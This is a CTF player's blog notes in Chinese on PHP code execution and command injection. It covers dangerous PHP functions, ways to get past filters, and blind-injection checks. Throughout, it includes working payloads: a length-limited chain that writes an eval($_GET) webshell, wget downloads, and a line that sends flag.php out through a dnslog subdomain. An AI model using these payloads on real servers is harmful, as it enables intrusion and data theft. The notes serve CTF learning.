3rsh1
/single dog/college student/ctfer
3rsh1's Blog

代码执行

代码执行

相关函数:

eval(a)//a内容为字符串

引号内应该是完整的PHP语句。中国菜刀不支持PHP7.

assert(a[,b])
判断一个断言是否为false
a为字符串,会被当做php执行。b是对错误的描述可以自己定义。

但还是存在一点问题。

call_user_func ( callable callback [, mixedparameter [, mixed $... ]] ) : mixed

第一个参数为调用的函数,此后的参数为调用的函数所需的变量。

eval() echo() array() unset() empty() exit() list() print()//不能使用
可用 is_callable('函数名'),查看是否可以调用
$a='system';
$b='pwd';
call_user_func($a,$b);
call_user_func_array(函数名,传参数组)
$a='assert';
$b=array('phpinfo()');
call_user_func_array($a,$b);

其实和上一个函数差不多,只不过一个是传的是参数,另一个是数组参数。

create_function ( string args , stringcode ) : string

第一个参数是要创建的函数的参数,第二个参数是函数内的代码。其实这个函数的作用就是创建一个匿名函数然后付给某个变量,这个变量的名字就是函数的名字了。其用法和别的函数一样。

$a=create_function($code,'echo $code;');
$b='123';
$a($b);
//
$a=create_function('','phpinfo();');
$a();  
preg_replace(a,b,$c)

若第一个参数用/e修饰符的话,第二个参数会被当做php代码进行执行,在适当的引用和替换完之后。

php7.0之后已经被弃用了。只有成功替换之后才会进行命令执行。

$a='phpinfo();';
preg_replace(/abc/e,$a,'abcd');
array_map(函数,数组)

为数组内的每个元素调用回调函数。

$a=$_GET['a'];
$b=$_GET['b'];
array_map($a,$b);//?a=assert&b[]=phpinfo();
$a=$_GET['a'];
$b=$_GET['b'];
$array[0]=$b;
array_map($a,$array);//?a=assert&b=phpinfo();
用用户自定义的比较函数对参数值进行比较,所以数组内至少要有三个参数,两个数据,一个函数
usort(..._GET)//即get数组的展开形式
usort(GET[1],'assert')
1[]=phpinfo()&1[]=123&2=assert
1[]=phpinfo()&1[]=

要执行的函数的参数需要在第一个位置。

uasort()和上个函数大致相同。
${php代码}//也可以执行。

命令注入:

可以使用服务器上的命令,比如说ls等,来实现getshell

system('命令');
exec('命令','结果输出的数组',状态符)
exec('ls',$b)//需要注意的是该函数返回的是结果的最后一行内容。

如果要返回全部没被处理的内容则需要passthru函数。

返回值不会回显,需要var_dump()函数。

var_dump(exec('ifconfig',a));//只会返回第一行值。同echo
var_dump(a);//正常返回
passthru('命令',输出数组);//其实这个函数和system差不多。
shell_exec('命令')//直接执行代码需要echo或者var_dump
`ls`==shell_exec('ls')

反引号和shell_exec函数差不多。

还有一个函数:

ob_start('命令');
echo "$_GET['a']";
ob_end_flush();

这个函数的意思就是打开一个输出缓冲区,即后面输出echo的内容就是会执行的命令。

需要注意的是php7不适应此函数。

绕过技巧:

%0a 换行符,其实就相当于敲了个回车,众所周知,命令之后回车不就执行了嘛

怎么理解呢,感觉就相当于命令+回车+命令,第一个命令换行符执行,第二个命令就是相关函数来执行了。

; 连续指令

ls;pwd,分别执行这两个命令。且两者没关系,若有一个命令错误也不会影响其余的命令的输出。

&  后台进程,奇奇怪怪
| 管道符
echo 'ls'|bash

输出的ls传递给bash,bash相当于是新开的一个shell,ls传递给新开的shell然后输出结果。

逻辑?   ||  &&

MySQL中的and,or 差不多,or是遇到一个正确的语句就停止,and 是遇到一个错误的语句就停止。

绕过空格的过滤:

< 可以起到一个空格的作用
cat<'a.php'

有种赋值的感觉,把后面的值赋给cat命令。

$IFS 内部的预分隔符,相当于空格,不明界限
${IFS}  同理,明确界限
$IFS$9  同上,$9外部传入的第九个参数,空的相当于空格
$09 也是空格的作用
a=l;b=s;ab; //不加分号也是可以的
`echo base64编码|base64 -D`

和前面的一个“命令执行差不多,饭引号内都是命令执行的内容。先括号内的命令预先执行,之后括号内的执行的结果再做进一步执行。编码更像一个预先就进行的内容。

而同样的$() 和 ``的作用差不多,当然也可以不加()但是括号更能标注好命令的界限
$IFS 可以用\分割开
expr substr string pos len //和MySQL内的字符串分割函数差不多,前面需要加expr

命令无回显情况:

延时判断:

sleep 3 //语句可用

奇怪的一点是ls|sleep 3管道符也是可以用的。

http请求:

curl ping等命令。

监听自己的端口:
nc -lv 8080

通过查看vps的响应信息来判断是否命令执行了。

dnslog判断:

curl -s url//申请的域名是 2a5c4p.ceye.io
ping url//-c 参数设置发包的数量

不管是访问的页面还是对域名的解析请求都会被记录下来。

直接写shell或者外部下载:

http/dns带出数据:

> 定向输出
echo 123 > 1.txt//输出123到1文件中

思路1:

cp flag.php 1.txt//然后直接读取flag文件

思路2:

运用dnslog来把需要读取的文件拼接到域名中去。

命令格式1:sed 's/原字符串/新字符串/' 文件         只替换第一个匹配到的字符串
命令格式2:sed 's/原字符串/新字符串/g' 文件        替换全部匹配到的字符串
[[:space:]] 代表空格
`cat flag.php|sed s/[[:space:]]//`.2a5c4p.ceye.io

复现没成功 ! ! ! 不知道为啥 奇奇怪怪 干

15个字符:

wget url/1.php
mv 1 1.php
echo 123 >1.txt //这里需要注意的是123后有个空格,或者说用单引号把123括起来
echo 123 >>1.txt //两个符号 追加不覆盖且换行

这里提一下,上面的写入的如果是数字的话就需要加空格,如果不是数字的话就可以不用加空格。

对于要写入的内容可以进行合理的分行,在某种方式下一行完整的php代码分行也是可以完成的。但是完整的函数名称是需要在同一行的。

7个字符:

还是需要生成文件的:

l>a     //虽然l不是命令但是后面仍然会生成一个a文件。
ls>a    //文件名写入a
sh a    //sh执行脚本,a内的命令可以被执行(只要其内有命令就会执行
\       //可用于命令拼接,即l\ s为ls命令。需要注意空格问题
ls -t   //根据时间排序

ls命令是按先字符后数字再字母的形式排序的,再细究的话就是按ASCII值排序的。

<?php eval($_GET[1]);//PD9waHAgZXZhbCgkX0dFVFsxXSk7
w>1\.php
w>d\>\\
w>4\ -\\
w>ase6\\
w>7\|b\\
w>xXSk\\
w>FVFs\\
w>kX0d\\
w>hbCg\\
w>gZXZ\\
w>waHA\\
w>PD9\\
w>ho\ \\
w>ec\\
ls>0
sh 0

5个字符:

看演示上的排序都是符号在前数字中间字母最后,但是我的演示的不太一样。

>ls
ls>a    //a ls
>-t
>\>0
>\ \\
        //-t >0 a ls
ls>>a   //a ls -t >0 a ls

4个字符:

*   //当下目录的所有文件名 按做系统命令执行从第一个文件名开始
echo * //作用类似于ls

但是*还有补全的作用,即\*s代表最后一个字母是s的文件名,

ls -th >0
rev 文件名     //0< ht- sl,对每一行做反转
dir>a           //不换行输出到文件a内    
//dir e< ht- sl
*>v     //e< ht- sl
>rev
*v>0

无数字字母getshell

可以用异或等位运算符实现。\0,即ASCII码为0的字符。

# -*- coding: utf-8 -*-
# @Author: Ershisan
# @Date:   2020-03-14 20:25:05
# @Last Modified by:   Marte
# @Last Modified time: 2020-03-14 20:55:28
print(ord('a')^ord('a'))
a='!"#$%&\'()\*+,-./;:<=>?^|{}~_'
for i in range(0,len(a)):
    for m in range(0,len(a)):
        if((ord(a[i])^ord(a[m]))>33 and (ord(a[i])^ord(a[m]))<127):
            print(a[i]+a[m]+' '+chr(ord(a[i])^ord(a[m])))

也可以取反:

$a='和';
echo ord(a[0]);
echo strlen($a);
echo "\x61";//a的十六进制表示,会直接输出对应的字符
echo ~a[1];//可输出a[1]对应的十六进制的补码所对应的字符。
echo hexdoc('e5');//16进制转10进制
/*
229
3
a
m
229
*/

由此来看的话好像python用的编码方式和PHP编码方式并不一样。

print(hex(ord('和')))#0x548c
print(len('和'))#1
a='和'
print(int('8c',16))#140
print(a[0])#和
print(hex(ord('a')))#0x61

自增:

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_2d8cd51691dd59d4709141cc1ca2cd5e.jpg
$a='a';
echo ++$a;//b

即在$a的值的ASCII码的基础上加一。

且此规则只对纯字母有效,在处理字符串时不能递减

在异或的时候:

echo 'abcde'^'abcde';//5位每位都异或
a='phpinfo';a();//即可执行函数

对于php来说时是位异或诸位输出的。文件名字符串后面直接加括号就会执行函数。

发表评论

textsms
account_circle
email

  • 优秀 容我fork一波👍

    1年前 回复
    • 3rsh1博主

      @fe1w0: 还是好久之前写的,最近才放到博客上来,有很多理解还不到位( ̄▽ ̄)”,欢迎大佬指摘

      1年前 回复

3rsh1's Blog

代码执行
代码执行 相关函数: eval($a)//$a内容为字符串 引号内应该是完整的PHP语句。中国菜刀不支持PHP7. assert($a[,$b]) 判断一个断言是否为false $a为字符串,会被当做php执行。$b是对错…
扫描二维码继续阅读
2020-04-19